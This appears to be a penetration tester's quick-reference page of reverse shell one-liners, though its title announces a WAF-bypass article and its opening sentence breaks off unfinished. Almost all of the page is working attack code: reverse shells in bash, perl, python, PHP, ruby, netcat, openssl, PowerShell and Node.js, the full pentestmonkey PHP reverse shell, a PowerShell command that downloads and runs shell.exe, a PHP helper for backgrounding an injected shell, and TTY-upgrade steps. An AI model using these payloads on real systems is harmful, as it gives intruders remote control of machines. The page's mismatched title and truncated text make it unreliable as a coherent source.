A Pentesters Guide - Part 5 (Unmasking WAFs and Finding the Source)
In this article I am going to detail a non-exhaustive overview of bypassing WAFs by
This document is supposed to be a quick reference for things like reverse shell one liners, including PHP shells and sources to those.
If you have found some sort of bash command execution access to the target machine, you can quickly verify what avenues you have with a one liner pulled from The Situational Awareness section of the Privilege Escalation Document.
for item in $(echo "nmap nc perl python ruby gcc wget sudo curl"); do which $item; done`
nc -vv -l -p 1337
If you're on a Mac running OSX or MacOS:
nc -l 1337
I believe this different might also be related to that of BSD versions of Netcat or the differences.
What you choose is going to matter and depend on a few things:
In my book, simplicity is key as there if there is usually not much to go wrong.
exec 5<>/dev/tcp/127.0.0.1/1337
cat <&5 | while read line; do $line 2>&5 >&5; done
You might get lucky with this, but I do think that you need to have a "bash session" of sorts, such that the pipes maintain across sessions, as opposed to one-shot command execution.
bash -i >& /dev/tcp/127.0.0.1/1337 0>&1
This one is incredibly reliable in my experience. Most Linux boxes have perl installed somewhere (unless its a container)
perl -e 'use Socket;$i="127.0.0.1";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
This might work if the command PHP is in use. If not, you might want to use the secondary type.
php -r '$sock=fsockopen("127.0.0.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'
(Untested as of now), if you want to be sure, http://pentestmonkey.net/tools/web-shells/php-reverse-shell
<?php set_time_limit(0);$VERSION="1.0";$ip='127.0.0.1';$port=1337;$chunk_size=1400;$write_a=null;$error_a=null;$shell='uname -a; w; id; /bin/sh -i';$daemon=0;$debug=0;if(function_exists('pcntl_fork')){$pid=pcntl_fork();if($pid==-1){printit("ERROR: Can't fork");exit(1);}if($pid){exit(0);}if(posix_setsid()==-1){printit("Error: Can't setsid()");exit(1);}$daemon=1;}else {printit("WARNING: Failed to daemonise. This is quite common and not fatal.");}chdir("/");umask(0);$sock=fsockopen($ip,$port,$errno,$errstr,30);if(!$sock){printit("$errstr ($errno)");exit(1);}$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));$process=proc_open($shell,$descriptorspec,$pipes);if(!is_resource($process)){printit("ERROR: Can't spawn shell");exit(1);}stream_set_blocking($pipes[0],0);stream_set_blocking($pipes[1],0);stream_set_blocking($pipes[2],0);stream_set_blocking($sock,0);printit("Successfully opened reverse shell to $ip:$port");while(1){if(feof($sock)){printit("ERROR: Shell connection terminated");break;}if(feof($pipes[1])){printit("ERROR: Shell process terminated");break;}$read_a=array($sock,$pipes[1],$pipes[2]);$num_changed_sockets=stream_select($read_a,$write_a,$error_a,null);if(in_array($sock,$read_a)){if($debug)printit("SOCK READ");$input=fread($sock,$chunk_size);if($debug)printit("SOCK: $input");fwrite($pipes[0],$input);}if(in_array($pipes[1],$read_a)){if($debug)printit("STDOUT READ");$input=fread($pipes[1],$chunk_size);if($debug)printit("STDOUT: $input");fwrite($sock,$input);}if(in_array($pipes[2],$read_a)){if($debug)printit("STDERR READ");$input=fread($pipes[2],$chunk_size);if($debug)printit("STDERR: $input");fwrite($sock,$input);}}fclose($sock);fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);proc_close($process);function printit($string){if(!$daemon){print"$string\n";}}?>
Ever found a one-shot PHP command injection vulnerability? The shell will open then immediately die. You can run in the background with this handy function :)
In longhand, it looks like this:
function execInBackground($cmd) {
if (substr(php_uname(), 0, 7) == "Windows"){
pclose(popen("start /B ". $cmd, "r"));
}
else {
exec($cmd . " > /dev/null &");
}
}
execInBackground("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP_HERE/YOUR_PORT_HERE 0>&1'");
However I've done the courtesy of shortening this for you into a one liner below. This will run a command in the background on Windows or Linux (although of course remember you need to change the payload if you're executing on Windows!
function execInBackground($cmd) { if (substr(php_uname(), 0, 7) == "Windows"){ pclose(popen("start /B ". $cmd, "r")); } else { exec($cmd . " > /dev/null &"); } } execInBackground("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.221/8081 0>&1'");
ruby -rsocket -e'f=TCPSocket.open("127.0.0.1", 1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc -e /bin/sh 127.0.0.1 1337
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
You'll need an SSL listener, a fun tip not many know about is ncat --ssl
option.
You can actually use ncat --ssl
to interact with a number of SSL services! Thank me later...
ncat --ssl -vv -l -p 8000
Or if you don't have ncat
, you can host it manually. Try this oneliner.
mkdir -p ~/tmp/openssl && cd ~/tmp/openssl && openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes && openssl s_server -key key.pem -cert cert.pem -accept 8000
And finally, connect back to your server...
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 127.0.0.1:8000 > /tmp/s; rm /tmp/s
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",8000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
https://github.com/infoskirmish/Window-Tools/tree/master/Simple%20Reverse%20Shell
https://github.com/audibleblink/gorsh
python3 -m http.server / python2 -m SimpleHTTPServer
powershell -command "((new-object System.Net.WebClient).DownloadFile('http://127.0.0.1:8000/shell.exe', '%TEMP%\shell.exe'))"; "c:\windows\system32\cmd.exe /c %TEMP%\shell.exe"
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "127.0.0.1", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
Source From Ropnop
This is for upgrading from a standard nc
shell to a full interactive shell, this only works on Linux/Mac endpoints. This is a gem from Phineas Fisher.
Disclaimer, if you use ZSH, sh, or Fish, this might actually break your shell. So be careful to do this in a pure bash session first. You'll learn this the hard-way if you try this on ZSH and end up losing your shell, definitely has never happened to me on engagement.... :)
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
echo $TERM && tput lines && tput cols
- (note this down, it will disappear)stty raw -echo
fg
reset
export SHELL=bash
export TERM=xterm-256color
- (refer to step 3)stty rows 38 columns 116
- (refer to step 3)